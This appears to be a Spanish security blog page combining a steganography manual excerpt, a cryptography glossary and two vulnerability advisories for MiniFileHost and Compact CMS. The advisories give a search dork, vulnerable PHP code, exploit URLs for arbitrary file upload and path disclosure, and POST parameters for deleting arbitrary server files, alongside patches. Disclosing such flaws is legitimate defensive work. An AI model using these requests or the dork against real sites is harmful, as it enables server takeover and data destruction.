Esteganografía desde cero.



Aquí les dejo un manual escrito por XiONeX. Como bien dice su titulo se trata de la esteganografía.

Índice.
*Índice de temas.
*Prólogo y agradecimientos.
*Introducción.
*Historia.
*Publicaciones a través del tiempo.
*Métodos antiguos y actuales.
*Bases.
*Interpretación y tipo de ficheros.
*Ficheros de imagen.
*Sistemas básicos.
*Método copiar mediante la consola.
*Método (LSB).
*Ficheros de Audio.
*Método (LSB) en audio.
*Esteganografía actual.
*Esteganografía avanzada.
*Software.
*¿Efectividad?
*Derechos de autor.

Introducción.
“Lo más importante de la vida siempre pasa desapercibido ante la visión humana”.
XiONeX

En conclusión, podemos definir esteganografía como el arte de ocultar un texto, o
como el arte de escribir en una manera oculta. Muchas personas creen que la esteganografía y la criptografía son iguales, pero ¡NO!.

Pueden intercalarse la una a la otra para tener mejores resultados, pero jamás serán
iguales. Criptografía: (Cripto: Oculto) y (Graphos: Escritura), tal vez se vea demasiado
parecido pero no lo es.
La criptografía según el diccionario se define como: Escribir de forma enigmática.
La diferencia radica en el punto de lo “enigmático”. La criptografía se encarga de tomar un mensaje legible (texto plano) y posteriormente cifrarlo (encriptarlo) para que solo la persona que lo envía y el destinatario puedan entenderlo, de esta manera la información pasara por manos de terceros pero no podrá sé legible sin conocer el método con el cual fue cifrado, claro que esto no siempre será posible pues el estudio de la criptografía también se encarga del criptoanálisis y de intentar romper ese tipo de seguridad para poder descifrar cualesquier tipo de mensaje.

Ahora, la esteganografía tiene el mismo propósito: transportar información, solo que
en la esteganografía ni si quiera se sabe que la información existe.
Para entenderlo mejor, asumamos el papel de una tercera persona que quiere “conocer la información” que se trafica entre dos medios, pues si estos medios están usando criptografía nosotros con suerte podremos ver sus mensajes, pero lamentablemente los mismos no tendrán ningún significado ya que fueron cifrados para que fuesen ilegibles.

Ahora, si hablamos de esteganografía nosotros con suerte podremos capturar trafico de información pero al momento de obtenerla podremos leer algo de información pero no sabremos de la existencia de lo que en realidad se están comunicando, solo el escritor y los destinatarios saben como extraer dicha información. Aquí elabore unas imágenes en el xphotoshop, que por cierto son demasiado pésimas.

Así que para la próxima le pido ayuda a un diseñador experimentado (jaja). Las
imágenes son una especie de grafica que representa la información transitando sobre
dos medios y como la ve una tercera persona.



¿QUIERES SABER MÁS?

Descarga el documento y obten completo el manual de 42 paginas.

Descarga

Autor : XiONeX
Web : www.xionexsystems.blogspot.com

MiniFileHost - Bypass Upload

MiniFileHost v1.5
HomePage : http://www.galaxyscripts.com/
Vulnerbilidad : Bypass Upload

Sec-Test : Xonk - xonkcryp [at] gmail [dot] com

Bypass Upload

Descripcion :
- Permite subir al servidor cualquier tipo de archivo modificando los Headers HTTP (modificando el tipo del archivo como el de una image , ej : image/jpeg), con lo que se podria obtener un control total de los archivos del servidor .

<?php

// Archivo : basic.php
// Linea : 25

if (($HTTP_POST_FILES['userfile']['type']=="image/gif") || ($HTTP_POST_FILES['userfile']['type']=="image/pjpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/jpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/bmp") || ($HTTP_POST_FILES['userfile']['type']=="image/png")) {
....
}
?>


Patch :
<?php

// Patch Bypass Upload by Xonk
// Archivo : basic.php
// Modificar a partir de la linea 25 :
// if (($HTTP_POST_FILES['userfile']['type']=="image/gif") ....
// Hasta antes de la linea 39 :
// if (!$res) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif"> .... }


if (!isset($HTTP_POST_FILES['userfile'])) exit;

if (is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {

if ($HTTP_POST_FILES['userfile']['size']>$max_size) {
echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">File Size too Big!</font><br>n"; exit; }
if (($HTTP_POST_FILES['userfile']['type']=="image/gif") || ($HTTP_POST_FILES['userfile']['type']=="image/pjpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/jpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/bmp") || ($HTTP_POST_FILES['userfile']['type']=="image/png")) {

// ------- PATCH ----------
$ext = strtolower(substr($_FILES['userfile']['name'], strrpos($_FILES['userfile']['name'], '.')));
$supportedextentions = array('.jpg','.jpeg','.png','.gif','.bmp');
$upload = true;
if(!in_array($ext, $supportedextentions)) {
$upload = false;
}

if (file_exists("./".$path . $HTTP_POST_FILES['userfile']['name'])) {
echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">A File with that name exists, please rename your file.</font><br>n"; exit; }

if($upload) {
$zufall = rand(123,999999);
$fupl = "$zufall";
$imgtext = $zufall .$HTTP_POST_FILES['userfile']['name'];
$userip = $_SERVER['REMOTE_ADDR'];
$time = time();

$res = move_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'], "./".$path .$fupl .$HTTP_POST_FILES['userfile']['name']);
}
// ------- END PATCH ----------

if (!$res) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">Upload Failed, please try again</font><br>n"; exit; } else {
$filelist = fopen("./imgfiles/".$imgtext.".txt","w");
fwrite($filelist, "images/" ."|".$imgtext."|". $zufall ."|". $userip ."|". $time."|n");
?>

Compact CMS - Multiples Vulnerabilidades

Compact CMS
HomePage : http://www.compactcms.nl/
Vulnerbilidad : Arbitrary File Upload | Remote File Remove

Sec-Tester : Xonk - xonkcryp [at] gmail [dot] com
Dork : "Maintained with CompactCMS"

Arbitrary File Upload
Descripcion :
-Permite subir al servidor cualquier tipo de archivo , con lo que se podria obtener un control total de los archivos del servidor .

<?php

// Archivo : admin/includes/tiny_mce/plugins/advimage
// Linea : 212

if ($act == 'upload') {
$name = $_FILES['upload']['name'];
if (!is_dir($dirname)) {
mkdir($dirname,0777);
};
if (file_exists("$dirname/$name")) {
echo "<p>"._EXIST." $dirname/$name </p>";
} else {
if (is_uploaded_file($_FILES['upload']['tmp_name'])) {
if (move_uploaded_file($_FILES['upload']['tmp_name'],"$dirname/$name" ))
....
?>


http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php?dirname=[Directorio-Upload]

Example :
http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php?dirname=C:/xampp/htdocs/

Obteniendo el Directorio del Uploader por defecto :
http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php?act=upload

Path Disclosure :
http://[path]/admin/includes/tiny_mce/plugins/spellchecker/classes/EnchantSpell.php
http://[path]/admin/includes/tiny_mce/plugins/spellchecker/classes/GoogleSpell.php

Patch :
-El acceso debe estar permitido solo administrador
-Revisar la extension del archivo subido , en este caso el codigo se hizo unicamente para subir archivos de tipo imagen , las extensiones a revisar son : .jpg , .jpeg , .gif , .png

Remote File Remove
Descripcion :
- Permite borrar cualquier archivo del servidor

<?php
...
// Archivo : admin/includes/tiny_mce/plugins/advimage

// Linea : 210
if (isset($_POST['act'])) $act = $_POST['act'];

//Linea : 231
if ($act == 'delete') {
// do delete file
@unlink($IMGFOLDER.'/'.$_POST['fname']);

...
?>


http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php
Send :
$_POST["fname"] = "Nombre-del-archivo-a-borrar"
$_POST["act"] = delete

Patch :
-El acceso debe estar permitido solo administrador

Conceptos Basicos en la Criptografia

Segun el Diccionario de la Real Academia, la palabra Criptografia proviene del griego kryptos, que significa oculto, y graphos, que significa escritura, y su definicion es : "Arte de escribir mensajes con clave secreta o de un modo enigmatico".

Definicion mas tecnica

Rama inicial de las Matematicas y en la actualidad de la Informatica y la Telematica, que hace uso de metodos y tecnicas con el objetivo principal de cifrar un mensaje o archivo por medio de un algoritmo, usando una o mas claves , pretendiendo garantizar la Confidencilalidad y la Autenticidad de los mensajes.

Junto a la criptografía coexiste necesariamente otra disciplina: el criptoanalisis, mientras que los criptografos se encargan de desarrollar criptosistemas cada vez mas seguros y dificiles de descifrar los criptoanalistas tratan de romper un criptosistema obteniendo el mensaje a partir del codigo cifrado.

Definiciones Adicionales

Criptografo: maquina o artilugio para cifrar.
Criptosistema: sistema que ofrece medios seguros de comunicacion en los que el emisor oculta o cifra el mensaje antes de
transmitirlo para que solo un receptor autorizado (o nadie) pueda descifrarlo.
Criptologia: ciencia que estudia e investiga todo aquello relacionado con la criptografia: incluye cifra y criptoanalisis.
Criptologo: persona que trabaja de forma legítima para proteger la información creando algoritmos criptograficos.
Criptoanalista: persona cuya funcion es romper algoritmos de cifra en busca de debilidades, la clave o del texto en claro.
Texto en claro: documento original. Se denota comumente como M.
Criptograma: documento/texto cifrado. Se denota comunmente como C.
Claves: datos (llaves) privados/publicos que permitiran cifrar.

Textos de Referencia :
Que es la Criptografia, por rufiopunkrock
Que es la Criptologia, por rufiopunkrock
Criptografia y Seguridad en Computadores, por Manuel J. Lucena Lopez
Curso de Seguridad Informatica y Criptografia, por Jorge Ramio Aguirre